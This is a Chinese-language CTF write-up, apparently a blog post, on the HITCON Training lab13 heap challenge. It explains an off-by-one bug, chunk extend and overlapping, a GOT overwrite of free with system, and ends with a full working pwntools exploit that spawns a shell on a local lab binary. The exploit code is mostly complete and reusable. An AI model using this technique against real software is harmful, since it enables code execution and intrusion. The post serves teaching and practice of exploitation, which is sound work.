从HITCON Trainging lab13 学习Chunk Extend and Overlapping 攻击

本文介绍了HITCON Trainging Lab13中的Chunk Extend and Overlapping攻击,分析了heap结构体、off by one漏洞,以及如何利用该漏洞修改GOT表项,最终实现执行system("/bin/sh")。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Chunk Extend and Overlapping 学习

HITCON Trainging lab13题目地址

查看保护措施,RelRO为Partial,即可以修改GOT表项

在这里插入图片描述

用IDA分析一下

这个题目,定义了一种heap结构体,大概如下

struct heap
{
    int size;	 //heap的大小;占8字节
    int content; //指针,指向content;占8字节
}

下面是main函数,定义了菜单选项,按选项调用相关函数。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-10h]
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  while ( 1 )
  {
    menu();
    read(0, &buf, 4uLL);
    switch ( atoi(&buf) )
    {
      case 1:
        create_heap();
        break;
      case 2:
        edit_heap();
        break;
      case 3:
        show_heap();
        break;
      case 4:
        delete_heap();
        break;
      case 5:
        exit(0);
        return;
      default:
        puts("Invalid Choice");
        break;
    }
  }
}

create_heap函数,创建heap结构体

unsigned __int64 create_heap()
{
  _QWORD *v0; // rbx
  signed int i; // [rsp+4h] [rbp-2Ch]
  size_t size; // [rsp+8h] [rbp-28h]
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !heaparray[i] )  //heaparray数组存储在bss段
    {
      heaparray[i] = malloc(0x10uLL); //heaparray保存heap结构体
      if ( !heaparray[i] )			  //heap结构体是这样的:
      {								  //{ QWORD size 
        puts("Allocate Error");		  //  QWORD  content_address
        exit(1);					  //}
      }
      printf("Size of Heap : ");
      read(0, &buf, 8uLL);
      size = atoi(&buf);
      v0 = heaparray[i];
      v0[1] = malloc(size);     //保存content地址
      if ( !*((_QWORD *)heaparray[i] + 1) )
      {
        puts("Allocate Error");
        exit(2);
      }
      *(_QWORD *)heaparray[i] = size;  //保存size 
      printf("Content of heap:", &buf);
      read_input(*((void **)heaparray[i] + 1), size); //read_input函数:读取a2长度的字符串到a1中
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v5;
    }
  }
  return __readfsqword(0x28u) ^ v5;
}

read_input函数:读取a2长度的字符串到a1中

ssize_t __fastcall read_input(void *a1, size_t a2)
{
  ssize_t result; // rax

  result = read(0, a1, a2);
  if ( (signed int)result <= 0 )
  {
    puts("Error");
    _exit(-1);
  }
  return result;
}

heaparray数组存储在bss段

在这里插入图片描述

edit_heap函数,修改content时,read_input函数传入的size=heap->size+1,所以这里存在off by one漏洞。

unsigned __int64 edit_heap()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, &buf, 4uLL);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( heaparray[v1] )
  {
    printf("Content of heap : ", &buf);
    read_input(*((void **)heaparray[v1] + 1), *(_QWORD *)heaparray[v1] + 1LL);//这里存在offbyone漏洞
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

show_heap 输出heap->size和heap->content

unsigned __int64 show_heap()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, &buf, 4uLL);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( heaparray[v1] )
  {
    printf("Size : %ld\nContent : %s\n", *(_QWORD *)heaparray[v1], *((_QWORD *)heaparray[v1] + 1));
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

delete_heap 先free掉heap>content,再free heap结构体,并将heaparray[i]处置0

unsigned __int64 delete_heap()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, &buf, 4uLL);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( heaparray[v1] )
  {
    free(*((void **)heaparray[v1] + 1));
    free(heaparray[v1]);
    heaparray[v1] = 0LL;
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

调试一下

#coding=utf-8
from pwn import *


sh=process("./heapcreator")
elf=ELF("./heapcreator")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
context.log_level='debug'
#模拟功能
def create(size,content):
	sh.sendlineafter("Your choice :",str(1))
	sh.sendlineafter("Size of Heap : ",str(size))
	sh.sendlineafter("Content of heap:",content)

def edit(index,content):
	sh.sendlineafter("Your choice :",str(2))
	sh.sendlineafter("Index :",str(index))
	sh.sendlineafter("Content of heap : ",content)	

def show(index):
	sh.sendlineafter("Your choice :",str(3))
	sh.sendlineafter("Index :",str(index))

def delete(index):
	sh.sendlineafter("Your choice :",str(4))
	sh.sendlineafter("Index :",str(index))


heap_array=0x6020A0
 
create(0x18,"a"*0x18)  #idx 0
create(0x10,"b"*0x16)
gdb.attach(sh,"b read")

#通过edit修改heap[0]->content,覆盖chunk[1]的size 为0x41
edit(0, "a"*0x18 + "\x41")
delete(1)

sh.interactive()

查看heaparray数组,我们申请了两个heap结构体,heap[0]结构体地址为0x0000000001565010,heap[1]]结构体地址为0x0000000001565050。

图片里的结构体地址为用户区起始地址,所以减去0x10为chunk起始地址。即,为保存heap[0]结构体申请的chunk起始地址为0x0000000001565000。

在这里插入图片描述

查看相关地址的内容

在这里插入图片描述

可以得到以下信息

heap[0]->size =0x18

heap[0]->content_addr=0x1565030

heap[1]->size =0x10

heap[1]->content_addr=0x1565070

上面调试代码里,申请heap[0]时,size输入为0x18,而保存heap[0]->content的chunk大小为0x21,这是因为复用了下一个chunk的pre_size字段。

继续运行

edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")

再次查看,可以看到保存heap[1]结构体的chunk的size字段被修改为0x0000000000000041

在这里插入图片描述

这时执行

delete(1) 

即执行delete_heap函数,会先free掉heap[1]的content,再free掉保存heap[1]的chunk

free(*((void **)heaparray[v1] + 1)); //free heap[1]->content 
free(heaparray[v1]);				 //free heap[1]结构体

查看此时的bins,可以看到上面free掉的两个chunk进入了Fastbins链表里,下面图片里的chunk地址是用户数据区的地址
在这里插入图片描述

如果我们这时候再申请一个heap结构体,我们这称为heap[2]吧(但是heap[2]的结构体地址还是会保存在heaparray[1]里面)。调用create_heap函数,首先malloc(0x10)来储存heap[2]的结构体,然后再malloc(0x30)来保存heap[2]->content。

create(0x30, p64(0) * 4 + p64(0x30) + p64(heap.got['free']))  #1

如下图所示,红色框线为heap[2]->content。蓝色框线为heap[2]的结构体,可以看出其size=0x30。

此时
heaparray[1]=heap[2]结构体地址=heap[1]->content地址,即从fastbin里取下上一步free掉的保存heap[1]->content的chunk来保存heap[2]的结构体
heap[2]->content_addr=heap[1]->结构体的起始地址

可以看到保存heap[2]->content的chunk与保存heap[2]结构体的chunk有重叠的部分。此时我们填入的heap[2]->content,可以覆盖heap[2]->content_addr。

在这里插入图片描述

使用上面代码创建heap[2]的时候,填入的content数据为

 p64(0) * 4 + p64(0x30) + p64(heap.got['free'])

可以看到成功将heap[2]->content_addr修改为了free_got的地址。
在这里插入图片描述
此时打印heap[2]的content就会把free函数的绝对地址打印出来,然后计算libc基址,从而计算system的绝对地址

show(1) 
sh.recvuntil("Content : ")
data = sh.recvuntil("Done !")
free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
libc_base = free_addr - libc.symbols['free']
system_addr = libc_base + libc.symbols['system']

此时调用edit(1, p64(system_addr)),会把system函数的地址填入free_got表项。
在这里插入图片描述
然后再调用delete(0),执行free(heap[0]->content) ,此时执行的便是system(heap[0]->content),而在上面步骤中,已将heap[0]->content修改为"/bin/sh",也就执行了system("/bin/sh")。

edit(1, p64(system_addr))
delete(0)

完整exp

#coding=utf-8
from pwn import *
sh=process("./heapcreator")
elf=ELF("./heapcreator")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
context.log_level='info'
#模拟功能
def create(size,content):
	sh.sendlineafter("Your choice :",str(1))
	sh.sendlineafter("Size of Heap : ",str(size))
	sh.sendlineafter("Content of heap:",content)
    
def edit(index,content):
	sh.sendlineafter("Your choice :",str(2))
	sh.sendlineafter("Index :",str(index))
	sh.sendlineafter("Content of heap : ",content)	

def show(index):
	sh.sendlineafter("Your choice :",str(3))
	sh.sendlineafter("Index :",str(index))

def delete(index):
	sh.sendlineafter("Your choice :",str(4))
	sh.sendlineafter("Index :",str(index))


free_got=elf.got["free"]
system_offset=libc.symbols["system"]
free_offset=libc.symbols['free']

create(0x18,"a"*0x18)	#idx 0
create(0x10,"b"*0x16)	#idx 1

#通过edit修改heap[0]->content,覆盖保存heap[1]->content的chunk的size为0x41
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
delete(1)
create(0x30, p64(0) * 4 + p64(0x30) + p64(free_got))  #1

#得到free函数的完整地址
show(1)
sh.recvuntil("Content : ")
data = sh.recvuntil("Done !")
free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
#计算libc基址,并计算出system函数的地址
libc_base = free_addr - free_offset
system_addr = libc_base + system_offset
log.success('system_addr: ' + hex(system_addr))

#修改free got表项为system函数的地址
edit(1, p64(system_addr))
# trigger system("/bin/sh") ,即调用free函数就会执行system函数
delete(0)
sh.interactive()

exp执行效果
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值